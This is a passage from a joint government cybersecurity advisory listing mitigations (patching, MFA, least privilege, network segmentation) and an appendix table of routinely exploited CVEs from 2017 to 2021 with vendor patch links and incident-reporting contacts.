patch information on CVEs identified in this CSA, refer to the appendix. \n * If a patch for a known exploited or critical vulnerability cannot be quickly applied, implement vendor-approved workarounds.\n * Use a centralized patch management system.\n * Replace end-of-life software, i.e., software that is no longer supported by the vendor. For example, Accellion FTA was retired in April 2021.\n * Organizations that are unable to perform rapid scanning and patching of internet-facing systems should consider moving these services to mature, reputable cloud service providers (CSPs) or other managed service providers (MSPs). Reputable MSPs can patch applications\u2014such as webmail, file storage, file sharing, and chat and other employee collaboration tools\u2014for their customers. However, as MSPs and CSPs expand their client organization's attack surface and may introduce unanticipated risks, organizations should proactively collaborate with their MSPs and CSPs to jointly reduce that risk. For more information and guidance, see the following resources. \n * CISA Insights [Risk Considerations for Managed Service Provider Customers](<https://cisa.gov/sites/default/files/publications/cisa-insights_risk-considerations-for-msp-customers_508.pdf>)\n * CISA Insights [Mitigations and Hardening Guidance for MSPs and Small- and Mid-sized Businesses](<https://cisa.gov/sites/default/files/publications/CISA%20Insights_Guidance-for-MSPs-and-Small-and-Mid-sized-Businesses_S508C.pdf>)\n * ACSC advice on [How to Manage Your Security When Engaging a Managed Service Provider](<https://www.cyber.gov.au/acsc/view-all-content/publications/how-manage-your-security-when-engaging-managed-service-provider>)\n\n#### **Identity and Access Management**\n\n * Enforce multifactor authentication (MFA) for all users, without exception.\n * Enforce MFA on all VPN connections. If MFA is unavailable, require employees engaging in remote work to use strong passwords. \n * Regularly review, validate, or remove privileged accounts (annually at a minimum).\n * Configure access control under the concept of least privilege principle. \n * Ensure software service accounts only provide necessary permissions (least privilege) to perform intended functions (non-administrative privileges).\n\n**Note:** see [CISA Capacity Enhancement Guide \u2013 Implementing Strong Authentication](<https://cisa.gov/sites/default/files/publications/CISA_CEG_Implementing_Strong_Authentication_508_1.pdf>) and ACSC guidance on [Implementing Multi-Factor Authentication](<https://www.cyber.gov.au/acsc/view-all-content/publications/implementing-multi-factor-authentication>) for more information on hardening authentication systems.\n\n#### **Protective Controls and Architecture **\n\n * Properly configure and secure internet-facing network devices, disable unused or unnecessary network ports and protocols, encrypt network traffic, and disable unused network services and devices. \n * Harden commonly exploited enterprise network services, including Link-Local Multicast Name Resolution (LLMNR) protocol, Remote Desktop Protocol (RDP), Common Internet File System (CIFS), Active Directory, and OpenLDAP.\n * Manage Windows Key Distribution Center (KDC) accounts (e.g., KRBTGT) to minimize Golden Ticket attacks and Kerberoasting.\n * Strictly control the use of native scripting applications, such as command-line, PowerShell, WinRM, Windows Management Instrumentation (WMI), and Distributed Component Object Model (DCOM).\n * Segment networks to limit or block lateral movement by controlling access to applications, devices, and databases. Use private virtual local area networks. \n * Continuously monitor the attack surface and investigate abnormal activity that may indicate lateral movement of a threat actor or malware. \n * Use security tools, such as endpoint detection and response (EDR) and security information and event management (SIEM) tools. Consider using an information technology asset management (ITAM) solution to ensure your EDR, SIEM, vulnerability scanner etc., are reporting the same number of assets.\n * Monitor the environment for potentially unwanted programs.\n * Reduce third-party applications and unique system/application builds; provide exceptions only if required to support business critical functions.\n * Implement application allowlisting. \n\n### **Resources**\n\n * For the top vulnerabilities exploited in 2020, see joint CSA [Top Routinely Exploited Vulnerabilities](<https://www.cisa.gov/uscert/ncas/alerts/aa21-209a>)\n * For the top exploited vulnerabilities 2016 through 2019, see joint CSA [Top 10 Routinely Exploited Vulnerabilities](<https://www.cisa.gov/uscert/ncas/alerts/aa20-133a>). \n * See the appendix for additional partner resources on the vulnerabilities mentioned in this CSA.\n\n### **Disclaimer**\n\nThe information in this report is being provided \u201cas is\u201d for informational purposes only. CISA, the FBI, NSA, ACSC, CCCS, NZ NCSC, and NCSC-UK do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring.\n\n### **Purpose **\n\nThis document was developed by U.S., Australian, Canadian, New Zealand, and UK cybersecurity authorities in furtherance of their respective cybersecurity missions, including their responsibilities to develop and issue cybersecurity specifications and mitigations.\n\n### **References**\n\n[1] [CISA\u2019s Apache Log4j Vulnerability Guidance](<https://www.cisa.gov/uscert/apache-log4j-vulnerability-guidance>)\n\n### **Appendix: Patch Information and Additional Resources for Top Exploited Vulnerabilities**\n\nCVE\n\n| \n\nVendor\n\n| \n\nAffected Products\n\n| \n\nPatch Information\n\n| \n\nResources \n \n---|---|---|---|--- \n \n[CVE-2021-42237](<https://nvd.nist.gov/vuln/detail/CVE-2021-42237>)\n\n| \n\nSitecore\n\n| \n\nSitecore XP 7.5.0 - Sitecore XP 7.5.2\n\nSitecore XP 8.0.0 - Sitecore XP 8.2.7\n\n| \n\n[Sitecore Security Bulletin SC2021-003-499266](<https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1000776#HistoryOfUpdates>)\n\n| \n\nACSC Alert [Active Exploitation of vulnerable Sitecore Experience Platform Content Management Systems](<https://www.cyber.gov.au/acsc/view-all-content/alerts/active-exploitation-vulnerable-sitecore-experience-platform-content-management-systems>) \n \n[CVE-2021-35464](<https://nvd.nist.gov/vuln/detail/CVE-2021-35464>)\n\n| \n\nForgeRock \n\n| \n\nAccess Management (AM) 5.x, 6.0.0.x, 6.5.0.x, 6.5.1, 6.5.2.x and 6.5.3\n\nOpenAM 9.x, 10.x, 11.x, 12.x and 13.x\n\n| \n\n[ForgeRock AM Security Advisory #202104](<https://backstage.forgerock.com/knowledge/kb/article/a47894244>)\n\n| \n\nACSC Advisory [Active exploitation of ForgeRock Access Manager / OpenAM servers](<https://www.cyber.gov.au/acsc/view-all-content/advisories/advisory-2021-004-active-exploitation-forgerock-access-manager-openam-servers>)\n\nCCCS [ForgeRock Security Advisory](<https://www.cyber.gc.ca/en/alerts/forgerock-security-advisory>) \n \n[CVE-2021-27104](<https://nvd.nist.gov/vuln/detail/CVE-2021-27104>)\n\n| \n\nAccellion \n\n| \n\nFTA 9_12_370 and earlier\n\n| \n\n[Accellion Press Release: Update to Recent FTA Security Incident](<https://www.accellion.com/company/press-releases/accellion-provides-update-to-recent-fta-security-incident/>)\n\n| \n\nJoint CSA [Exploitation of Accellion File Transfer Appliance](<https://www.cisa.gov/uscert/ncas/alerts/aa21-055a>)\n\nACSC Alert [Potential Accellion File Transfer Appliance compromise](<https://www.cyber.gov.au/acsc/view-all-content/alerts/potential-accellion-file-transfer-appliance-compromise>) \n \n[CVE-2021-27103](<https://nvd.nist.gov/vuln/detail/CVE-2021-27103>)\n\n| \n\nFTA 9_12_411 and earlier \n \n[CVE-2021-27102](<https://nvd.nist.gov/vuln/detail/CVE-2021-27102>)\n\n| \n\nFTA versions 9_12_411 and earlier \n \n[CVE-2021-27101](<https://nvd.nist.gov/vuln/detail/CVE-2021-27101>)\n\n| \n\nFTA 9_12_370 and earlier\n\n| \n \n[CVE-2021-21985](<https://nvd.nist.gov/vuln/detail/CVE-2021-21985>)\n\n| \n\nVMware \n\n| \n\nvCenter Server 7.0, 6.7, 6.5\n\nCloud Foundation (vCenter Server) 4.x and 3.x\n\n| \n\n[VMware Advisory VMSA-2021-0010](<https://www.vmware.com/security/advisories/VMSA-2021-0010.html>)\n\n| \n\nCCCS [VMware Security Advisory](<https://www.cyber.gc.ca/en/alerts/vmware-security-advisory-41>) \n \n[CVE-2021-21972](<https://nvd.nist.gov/vuln/detail/CVE-2021-21972>)\n\n| \n\nVMware\n\n| \n\nvCenter Server 7.0, 6.7, 6.5\n\nCloud Foundation (vCenter Server) 4.x and 3.x\n\n| \n\n[VMware Advisory VMSA-2021-0002](<https://www.vmware.com/security/advisories/VMSA-2021-0002.html>)\n\n| \n\nACSC Alert [VMware vCenter Server plugin remote code execution vulnerability](<https://www.cyber.gov.au/acsc/view-all-content/alerts/vmware-vcenter-server-plugin-remote-code-execution-vulnerability-cve-2021-21972>)\n\nCCCS [VMware Security Advisory](<https://www.cyber.gc.ca/en/alerts/vmware-security-advisory-35>)\n\nCCCS Alert [APT Actors Target U.S. and Allied Networks - Update 1](<https://www.cyber.gc.ca/en/alerts/apt-actors-target-us-and-allied-networks-nsacisafbi>) \n \n[CVE-2021-20038](<https://nvd.nist.gov/vuln/detail/CVE-2021-20038>)\n\n| \n\nSonicWall\n\n| \n\nSMA 100 Series (SMA 200, 210, 400, 410, 500v), versions 10.2.0.8-37sv, 10.2.1.1-19sv, 10.2.1.2-24sv\n\n| \n\n[SonicWall Security Advisory SNWLID-2021-0026](<https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0026>)\n\n| \n\nACSC Alert [Remote code execution vulnerability present in SonicWall SMA 100 series appliances](<https://www.cyber.gov.au/acsc/view-all-content/alerts/remote-code-execution-vulnerability-present-sonicwall-sma-100-series-appliances>)\n\nCCCS [SonicWall Security Advisory](<https://www.cyber.gc.ca/en/alerts/sonicwall-security-advisory-4>) \n \n[CVE-2021-44228](<https://nvd.nist.gov/vuln/detail/CVE-2021-44228>)\n\n| \n\nApache\n\n| \n\nLog4j, all versions from 2.0-beta9 to 2.14.1\n\nFor other affected vendors and products, see [CISA's GitHub repository](<https://github.com/cisagov/log4j-affected-db>).\n\n| \n\n[Log4j: Apache Log4j Security Vulnerabilities](<https://logging.apache.org/log4j/2.x/security.html>)\n\nFor additional information, see joint CSA: [Mitigating Log4Shell and Other Log4j-Related Vulnerabilities](<https://www.cisa.gov/uscert/ncas/alerts/aa21-356a>)\n\n| \n\nCISA webpage [Apache Log4j Vulnerability Guidance](<https://www.cisa.gov/uscert/apache-log4j-vulnerability-guidance>)\n\nCCCS [Active exploitation of Apache Log4j vulnerability - Update 7](<https://www.cyber.gc.ca/en/alerts/active-exploitation-apache-log4j-vulnerability>) \n \n[CVE-2021-40539](<https://nvd.nist.gov/vuln/detail/CVE-2021-40539>)\n\n| \n\nZoho ManageEngine \n\n| \n\nADSelfService Plus version 6113 and prior\n\n| \n\n[Zoho ManageEngine: ADSelfService Plus 6114 Security Fix Release ](<https://pitstop.manageengine.com/portal/en/community/topic/adselfservice-plus-6114-security-fix-release>)\n\n| \n\nJoint CSA [APT Actors Exploiting Newly Identified Vulnerability in ManageEngine ADSelfService Plus](<https://www.cisa.gov/uscert/ncas/alerts/aa21-259a>)\n\nCCCS [Zoho Security Advisory](<https://www.cyber.gc.ca/en/alerts/zoho-security-advisory>) \n \n[CVE-2021-40444](<https://nvd.nist.gov/vuln/detail/CVE-2021-40444>)\n\n| \n\nMicrosoft \n\n| \n\nMultiple Windows products; see [Microsoft Security Update Guide: MSHTML Remote Code Execution Vulnerability, CVE-2021-40444](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-40444>)\n\n| \n\n[Microsoft Security Update Guide: MSHTML Remote Code Execution Vulnerability, CVE-2021-40444](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-40444>)\n\n| \n \n[CVE-2021-34527](<https://nvd.nist.gov/vuln/detail/CVE-2021-34527>)\n\n| \n\nMicrosoft \n\n| \n\nMultiple Windows products; see [Microsoft Security Update Guide: Windows Print Spooler Remote Code Execution Vulnerability, CVE-2021-34527](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34527>)\n\n| \n\n[Microsoft Security Update Guide: Windows Print Spooler Remote Code Execution Vulnerability, CVE-2021-34527](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34527>)\n\n| \n\nJoint CSA [Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor Authentication Protocols and \u201cPrintNightmare\u201d Vulnerability](<https://www.cisa.gov/uscert/ncas/alerts/aa22-074a>)\n\nCCCS [Alert Windows Print Spooler Vulnerability Remains Unpatched \u2013 Update 3](<https://www.cyber.gc.ca/en/alerts/windows-print-spooler-vulnerability-remains-unpatched>) \n \n[CVE-2021-34523](<https://nvd.nist.gov/vuln/detail/CVE-2021-34523>)\n\n| \n\nMicrosoft \n\n| \n\nMicrosoft Exchange Server 2013 Cumulative Update 23\n\nMicrosoft Exchange Server 2016 Cumulative Updates 19 and 20\n\nMicrosoft Exchange Server 2019 Cumulative Updates 8 and 9\n\n| \n\n[Microsoft Security Update Guide: Microsoft Exchange Server Elevation of Privilege Vulnerability, CVE-2021-34523](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34523>)\n\n| \n\nJoint CSA [Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities](<https://www.cisa.gov/uscert/ncas/alerts/aa21-321a>)\n\nACSC Alert [Microsoft Exchange ProxyShell Targeting in Australia](<https://www.cyber.gov.au/acsc/view-all-content/alerts/microsoft-exchange-proxyshell-targeting-australia>) \n \n[CVE-2021-34473](<https://nvd.nist.gov/vuln/detail/CVE-2021-34473>)\n\n| \n\nMicrosoft \n\n| \n\nMultiple Exchange Server versions; see: [Microsoft Security Update Guide: Microsoft Exchange Server Remote Code Execution Vulnerability, CVE-2021-34473](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34473>)\n\n| \n\n[Microsoft Security Update Guide: Microsoft Exchange Server Remote Code Execution Vulnerability, CVE-2021-34473](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34473>) \n \n[CVE-2021-31207](<https://nvd.nist.gov/vuln/detail/CVE-2021-31207>)\n\n| \n\nMicrosoft \n\n| \n\nMultiple Exchange Server versions; see [Microsoft Update Guide: Microsoft Exchange Server Security Feature Bypass Vulnerability, CVE-2021-31207](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31207>)\n\n| \n\n[Microsoft Update Guide: Microsoft Exchange Server Security Feature Bypass Vulnerability, CVE-2021-31207](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31207>) \n \n[CVE-2021-3156](<https://nvd.nist.gov/vuln/detail/CVE-2021-3156>)\n\n| \n\nSudo\n\n| \n\nSudo before 1.9.5p2\n\n| \n\n[Sudo Stable Release 1.9.5p2](<https://www.sudo.ws/releases/stable/#1.9.5p2>)\n\n| \n \n[CVE-2021-27852](<https://nvd.nist.gov/vuln/detail/CVE-2021-27852>)\n\n| \n\nCheckbox Survey\n\n| \n\nCheckbox Survey versions prior to 7\n\n| \n\n| \n \n[CVE-2021-27065](<https://nvd.nist.gov/vuln/detail/CVE-2021-27065>)\n\n| \n\nMicrosoft Exchange Server\n\n| \n\nMultiple versions; see: [Microsoft Security Update Guide: Microsoft Exchange Server Remote Code Execution Vulnerability, CVE-2021-27065](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-27065>)\n\n| \n\n[Microsoft Security Update Guide: Microsoft Exchange Server Remote Code Execution Vulnerability, CVE-2021-27065](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-27065>)\n\n| \n\nCISA Alert: [Mitigate Microsoft Exchange Server Vulnerabilities](<https://www.cisa.gov/uscert/ncas/alerts/aa21-062a>)\n\nACSC Advisory [Active exploitation of Vulnerable Microsoft Exchange servers](<https://www.cyber.gov.au/acsc/view-all-content/advisories/advisory-2021-002-active-exploitation-vulnerable-microsoft-exchange-servers>)\n\nCCCS Alert [Active Exploitation of Microsoft Exchange Vulnerabilities - Update 4](<https://www.cyber.gc.ca/en/alerts/active-exploitation-microsoft-exchange-vulnerabilities>) \n \n[CVE-2021-26858](<https://nvd.nist.gov/vuln/detail/CVE-2021-26858>)\n\n| \n\nMicrosoft \n\n| \n\nExchange Server, multiple versions; see [Microsoft Security Update Guide: Microsoft Exchange Server Remote Code Execution Vulnerability, CVE-2021-26858](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26858>)\n\n| \n\n[Microsoft Security Update Guide: Microsoft Exchange Server Remote Code Execution Vulnerability, CVE-2021-26858](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26858>) \n \n[CVE-2021-26857](<https://nvd.nist.gov/vuln/detail/CVE-2021-26857>)\n\n| \n\nMicrosoft \n\n| \n\nExchange Server, multiple versions; see [Microsoft Security Update Guide: Microsoft Exchange Server Remote Code Execution Vulnerability, CVE-2021-26857](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26857>)\n\n| \n\n[Microsoft Security Update Guide: Microsoft Exchange Server Remote Code Execution Vulnerability, CVE-2021-26857](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26857>) \n \n[CVE-2021-26855](<https://nvd.nist.gov/vuln/detail/CVE-2021-26855>)\n\n| \n\nMicrosoft \n\n| \n\nExchange Server, multiple versions; see [Microsoft Security Update Guide: Microsoft Exchange Server Remote Code Execution Vulnerability, CVE-2021-26855](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26855>)\n\n| \n\n[Microsoft Security Update Guide: Microsoft Exchange Server Remote Code Execution Vulnerability, CVE-2021-26855](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26855>) \n \n[CVE-2021-26084](<https://nvd.nist.gov/vuln/detail/CVE-2021-26084>)\n\n| \n\nJira Atlassian \n\n| \n\nConfluence Server and Data Center, versions 6.13.23, from version 6.14.0 before 7.4.11, from version 7.5.0 before 7.11.6, and from version 7.12.0 before 7.12.5.\n\n| \n\n[Jira Atlassian: Confluence Server Webwork OGNL injection - CVE-2021-26084](<https://jira.atlassian.com/browse/CONFSERVER-67940>)\n\n| \n\nACSC Alert [Remote code execution vulnerability present in certain versions of Atlassian Confluence](<https://www.cyber.gov.au/acsc/view-all-content/alerts/remote-code-execution-vulnerability-present-certain-versions-atlassian-confluence>)\n\nCCCS [Atlassian Security Advisory](<https://www.cyber.gc.ca/en/alerts/atlassian-security-advisory>) \n \n[CVE-2021-22893](<https://nvd.nist.gov/vuln/detail/CVE-2021-22893>)\n\n| \n\nPulse Secure \n\n| \n\nPCS 9.0R3/9.1R1 and Higher\n\n| \n\n[Pulse Secure SA44784 - 2021-04: Out-of-Cycle Advisory: Multiple Vulnerabilities Resolved in Pulse Connect Secure 9.1R11.4](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44784/>)\n\n| \n\nCCCS Alert [Active Exploitation of Pulse Connect Secure Vulnerabilities - Update 1](<https://www.cyber.gc.ca/en/alerts/active-exploitation-pulse-connect-secure-vulnerabilities>) \n \n[CVE-2021-20016](<https://nvd.nist.gov/vuln/detail/CVE-2021-20016>)\n\n| \n\nSonicWall \n\n| \n\nSMA 100 devices (SMA 200, SMA 210, SMA 400, SMA 410, SMA 500v)\n\n| \n\n[SonicWall Security Advisory SNWLID-2021-0001](<https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0001>)\n\n| \n \n[CVE-2021-1675](<https://nvd.nist.gov/vuln/detail/CVE-2021-1675>)\n\n| \n\nMicrosoft\n\n| \n\nMultiple Windows products; see [Microsoft Security Update Guide Windows Print Spooler Remote Code Execution Vulnerability, CVE-2021-1675](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-1675>)\n\n| \n\n[Microsoft Security Update Guide: Windows Print Spooler Remote Code Execution Vulnerability, CVE-2021-1675](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-1675>)\n\n| \n\nCCCS [Alert Windows Print Spooler Vulnerability Remains Unpatched \u2013 Update 3](<https://www.cyber.gc.ca/en/alerts/windows-print-spooler-vulnerability-remains-unpatched>) \n \n[CVE-2020-2509](<https://nvd.nist.gov/vuln/detail/CVE-2020-2509>)\n\n| \n\nQNAP \n\n| \n\nQTS, multiple versions; see [QNAP: Command Injection Vulnerability in QTS and QuTS hero](<https://www.qnap.com/en/security-advisory/qsa-21-05>)\n\nQuTS hero h4.5.1.1491 build 20201119 and later\n\n| \n\n[QNAP: Command Injection Vulnerability in QTS and QuTS hero](<https://www.qnap.com/en/security-advisory/qsa-21-05>)\n\n| \n \n[CVE-2020-1472](<https://nvd.nist.gov/vuln/detail/CVE-2020-1472>)\n\n| \n\nMicrosoft \n\n| \n\nWindows Server, multiple versions; see [Microsoft Security Update Guide: Netlogon Elevation of Privilege Vulnerability, CVE-2020-1472](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-1472>)\n\n| \n\n[Microsoft Security Update Guide: Netlogon Elevation of Privilege Vulnerability, CVE-2020-1472](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-1472>)\n\n| \n\nACSC Alert [Netlogon elevation of privilege vulnerability (CVE-2020-1472)](<https://www.cyber.gov.au/acsc/view-all-content/alerts/netlogon-elevation-privilege-vulnerability-cve-2020-1472>)\n\nJoint CSA [APT Actors Chaining Vulnerabilities Against SLTT, Critical Infrastructure, and Elections Organizations](<https://www.cisa.gov/uscert/ncas/alerts/aa20-283a>)\n\nCCCS Alert [Microsoft Netlogon Elevation of Privilege Vulnerability - CVE-2020-1472 - Update 1](<https://www.cyber.gc.ca/en/alerts/microsoft-netlogon-elevation-privilege-vulnerability-cve-2020-1472>) \n \n[CVE-2020-0688](<https://nvd.nist.gov/vuln/detail/CVE-2020-0688>)\n\n| \n\nMicrosoft \n\n| \n\nExchange Server, multiple versions; see [Microsoft Security Update Guide: Microsoft Exchange Validation Key Remote Code Execution Vulnerability, CVE-2020-0688](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-0688>)\n\n| \n\n[Microsoft Security Update Guide: Microsoft Exchange Validation Key Remote Code Execution Vulnerability, CVE-2020-0688](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-0688>)\n\n| \n\nCISA Alert [Chinese Ministry of State Security-Affiliated Cyber Threat Actor Activity](<https://www.cisa.gov/uscert/ncas/alerts/aa20-258a>)\n\nJoint CSA [Russian State-Sponsored Cyber Actors Target Cleared Defense Contractor Networks to Obtain Sensitive U.S. Defense Information and Technology](<https://www.cisa.gov/uscert/ncas/alerts/aa22-047a>)\n\nCCCS Alert [Microsoft Exchange Validation Key Remote Code Execution Vulnerability](<https://www.cyber.gc.ca/en/alerts/microsoft-exchange-validation-key-remote-code-execution-vulnerability>) \n \n[CVE-2019-19781](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>)\n\n| \n\nCitrix \n\n| \n\nADC and Gateway version 13.0 all supported builds before 13.0.47.24\n\nNetScaler ADC and NetScaler Gateway, version 12.1 all supported builds before 12.1.55.18; version 12.0 all supported builds before 12.0.63.13; version 11.1 all supported builds before 11.1.63.15; version 10.5 all supported builds before 10.5.70.12\n\nSD-WAN WANOP appliance models 4000-WO, 4100-WO, 5000-WO, and 5100-WO all supported software release builds before 10.2.6b and 11.0.3b\n\n| \n\n[Citrix Security Bulletin CTX267027](<https://support.citrix.com/article/CTX267027>)\n\n| \n\nJoint CSA [APT Actors Chaining Vulnerabilities Against SLTT, Critical Infrastructure, and Elections Organizations](<https://www.cisa.gov/uscert/ncas/alerts/aa20-283a>)\n\nCISA Alert [Chinese Ministry of State Security-Affiliated Cyber Threat Actor Activity](<https://www.cisa.gov/uscert/ncas/alerts/aa20-258a>)\n\nCCCS Alert [Detecting Compromises relating to Citrix CVE-2019-19781](<https://www.cyber.gc.ca/en/alerts/detecting-compromises-relating-citrix-cve-2019-19781-0>) \n \n[CVE-2019-18935](<https://nvd.nist.gov/vuln/detail/CVE-2019-18935>)\n\n| \n\nProgress Telerik \n\n| \n\nUI for ASP.NET AJAX through 2019.3.1023\n\n| \n\n[Telerik UI for ASP.NET AJAX Allows JavaScriptSerializer Deserialization](<https://docs.telerik.com/devtools/aspnet-ajax/knowledge-base/common-allows-javascriptserializer-deserialization>)\n\n| \n\nACSC Alert [Active exploitation of vulnerability in Microsoft Internet Information Services](<https://www.cyber.gov.au/acsc/view-all-content/alerts/active-exploitation-vulnerability-microsoft-internet-information-services>) \n \n[CVE-2019-11510](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>)\n\n| \n\nPulse Secure \n\n| \n\nPulse Connect Secure 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4\n\n| \n\n[Pulse Secure: SA44101 - 2019-04: Out-of-Cycle Advisory: Multiple vulnerabilities resolved in Pulse Connect Secure / Pulse Policy Secure 9.0RX](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101/>)\n\n| \n\nCISA Alert [Continued Exploitation of Pulse Secure VPN Vulnerability](<https://www.cisa.gov/uscert/ncas/alerts/aa20-010a>)\n\nCISA Alert [Chinese Ministry of State Security-Affiliated Cyber Threat Actor Activity](<https://www.cisa.gov/uscert/ncas/alerts/aa20-258a>)\n\nACSC Advisory [Recommendations to mitigate vulnerability in Pulse Connect Secure VPN Software](<https://www.cyber.gov.au/acsc/view-all-content/advisories/2019-129-recommendations-mitigate-vulnerability-pulse-connect-secure-vpn-software>)\n\nJoint CSA [APT Actors Chaining Vulnerabilities Against SLTT, Critical Infrastructure, and Elections Organizations](<https://www.cisa.gov/uscert/ncas/alerts/aa20-283a>)\n\nCCCS [Alert APT Actors Target U.S. and Allied Networks - Update 1](<https://www.cyber.gc.ca/en/alerts/apt-actors-target-us-and-allied-networks-nsacisafbi>) \n \n[CVE-2018-13379](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>)\n\n| \n\nFortinet\n\n| \n\nFortiProxy 2.0.2, 2.0.1, 2.0.0, 1.2.8, 1.2.7, 1.2.6, 1.2.5, 1.2.4, 1.2.3, 1.2.2, 1.2.1, 1.2.0, 1.1.6\n\n| \n\n[Fortinet FortiGuard Labs: FG-IR-20-233](<https://www.fortiguard.com/psirt/FG-IR-20-233>)\n\n| \n\nJoint CSA [Russian State-Sponsored Cyber Actors Target Cleared Defense Contractor Networks to Obtain Sensitive U.S. Defense Information and Technology](<https://www.cisa.gov/uscert/ncas/alerts/aa22-047a>)\n\nJoint CSA [Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities](<https://www.cisa.gov/uscert/ncas/alerts/aa21-321a>)\n\nJoint CSA [APT Actors Chaining Vulnerabilities Against SLTT, Critical Infrastructure, and Elections Organizations](<https://www.cisa.gov/uscert/ncas/alerts/aa20-283a>)\n\nACSC Alert [APT exploitation of Fortinet Vulnerabilities](<https://www.cyber.gov.au/acsc/view-all-content/alerts/apt-exploitation-fortinet-vulnerabilities>)\n\nCCCS Alert [Exploitation of Fortinet FortiOS vulnerabilities (CISA, FBI) - Update 1](<https://www.cyber.gc.ca/en/alerts/exploitation-fortinet-fortios-vulnerabilities-cisa-fbi>) \n \n[CVE-2018-0171](<https://nvd.nist.gov/vuln/detail/CVE-2018-0171>)\n\n| \n\nCisco \n\n| \n\nSee [Cisco Security Advisory: cisco-sa-20180328-smi2](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180328-smi2#fixed>)\n\n| \n\n[Cisco Security Advisory: cisco-sa-20180328-smi2](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180328-smi2#fixed>)\n\n| \n\nCCCS [Action Required to Secure the Cisco IOS and IOS XE Smart Install Feature](<https://www.cyber.gc.ca/en/alerts/action-required-secure-cisco-ios-and-ios-xe-smart-install-feature>) \n \n[CVE-2017-11882](<https://nvd.nist.gov/vuln/detail/CVE-2017-11882>)\n\n| \n\nMicrosoft \n\n| \n\nOffice, multiple versions; see [Microsoft Security Update Guide: Microsoft Office Memory Corruption Vulnerability, CVE-2017-11882](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2017-11882>)\n\n| \n\n[Microsoft Security Update Guide: Microsoft Office Memory Corruption Vulnerability, CVE-2017-11882](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2017-11882>)\n\n| \n\nCCCS Alert [Microsoft Office Security Update](<https://www.cyber.gc.ca/en/alerts/microsoft-office-security-update>) \n \n[CVE-2017-0199](<https://nvd.nist.gov/vuln/detail/CVE-2017-0199>)\n\n| \n\nMicrosoft \n\n| \n\nMultiple products; see [Microsoft Security Update Guide: Microsoft Office/WordPad Remote Code Execution Vulnerability w/Windows, CVE-2017-0199](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2017-0199>)\n\n| \n\n[Microsoft Security Update Guide: Microsoft Office/WordPad Remote Code Execution Vulnerability w/Windows, CVE-2017-0199](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2017-0199>)\n\n| \n\nCCCS [Microsoft Security Updates](<https://www.cyber.gc.ca/en/alerts/microsoft-security-updates>) \n \n### Contact Information\n\n**U.S. organizations: **all organizations should report incidents and anomalous activity to CISA 24/7 Operations Center at [report@cisa.gov ](<mailto:report@cisa.gov>)or (888) 282-0870 and/or to the FBI via your [local FBI field office](<https://www.fbi.gov/contact-us/field-offices>) or the FBI\u2019s 24/7 CyWatch at (855) 292-3937 or CyWatch@fbi.gov. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. For NSA client requirements or general cybersecurity inquiries, contact [Cybersecurity_Requests@nsa.gov](<mailto:Cybersecurity_Requests@nsa.gov>). **Australian organizations:** visit [cyber.gov.au](<https://www.cyber.gov.au/>) or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories. **Canadian organizations:** report incidents by emailing CCCS at [contact@cyber.gc.ca](<mailto:contact@cyber.gc.ca>). **New Zealand organizations:** report cyber security incidents to [incidents@ncsc.govt.nz](<mailto:incidents@ncsc.govt.nz>) or call 04 498 7654. **United Kingdom organizations:** report a significant cyber security incident: [ncsc.gov.uk/report-an-incident](<https://www.ncsc.gov.uk/section/about-this-website/contact-us>) (monitored 24 hours) or, for urgent assistance, call 03000 200 973.\n\n### Revisions\n\nApril 27, 2022: Initial Version\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", 